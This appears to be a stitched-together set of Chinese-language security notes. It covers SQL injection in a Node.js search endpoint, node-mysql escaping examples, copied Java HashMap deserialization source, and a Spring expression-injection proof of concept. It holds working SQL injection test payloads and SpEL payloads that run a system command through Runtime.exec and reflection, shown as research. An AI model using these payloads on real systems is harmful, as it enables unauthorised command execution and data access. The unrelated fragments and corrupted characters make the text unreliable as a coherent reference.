async search( …… let rows = await getManager().query(` SELECT DISTINCT(id), name, description, gmt_modified FROM( SELECT a.*, …… WHERE name LIKE '%${name}%' OR tag_name LIKE '%${name}%' ORDER BY gmt_modified DESC LIMIT 20 `); …….
二、黑盒测试过程:
/api/search?name=123’
{“success”:false,”errormsg”:”er_parse_error: you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near ‘Ͽor tag_name like ‘3’Ͽn order by gmt_modified desc \n limit’ at line 18”}
/api/search?name=123’’
{“success”:true,”data”:[]}
/api/search?name=123'and’’=‘
{“success”:true,”data”:[]}
/api/search?name='and if(1=1,exp(999),3)and'1
{“success”:false,”errormsg”:”er_data_out_of_range: double value is out of range in ‘exp(999)’”}
var sorter = 'date'; var sql = 'SELECT * FROM posts ORDER BY ' + connection.escapeId(sorter); connection.query(sql, function (error, results, fields) { if (error) throw error; // ... });
1 2 3
var sorter = 'date'; var sql = 'SELECT * FROM posts ORDER BY ' + connection.escapeId('posts.' + sorter); // -> SELECT * FROM posts ORDER BY `posts`.`date`
reparing Queries
1 2 3
var sql = "SELECT * FROM ?? WHERE ?? = ?"; var inserts = ['users', 'id', userId]; sql = mysql.format(sql, inserts);
Custom format
1 2 3 4 5 6 7 8 9 10 11
connection.config.queryFormat = function (query, values) { if (!values) return query; return query.replace(/\:(\w+)/g, function (txt, key) { if (values.hasOwnProperty(key)) { return this.escape(values[key]); } return txt; }.bind(this)); };
connection.query("UPDATE posts SET title = :title", { title: "Hello MySQL" });
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab;
// Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
/** * Implements Map.put and related methods * * @param hash hash for key * @param key the key * @param value the value to put * @param onlyIfAbsent if true, don't change existing value * @param evict if false, the table is in creation mode. * @return previous value, or null if none */ final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict)
public V put(K key, V value) { if (table == EMPTY_TABLE) { inflateTable(threshold); } if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } }
既然这样,尝试修改字段名称来执行命令[T(java.lang.Runtime).getRuntime().exec('open -a calculator.app'),测试下,确实可以把完整的命令传进去
[]是嵌套属性的写法,在[]中间可以写入表达式
继续走到setValue处,expression存储的值就是传进来的完整的字段
但是发现命令并没有执行,原因如下
POC利用
水平太菜,参考了一下网上的payload,利用java的反射机制绕过
[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a calculator.app")]
[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('open -a calculator.app')")]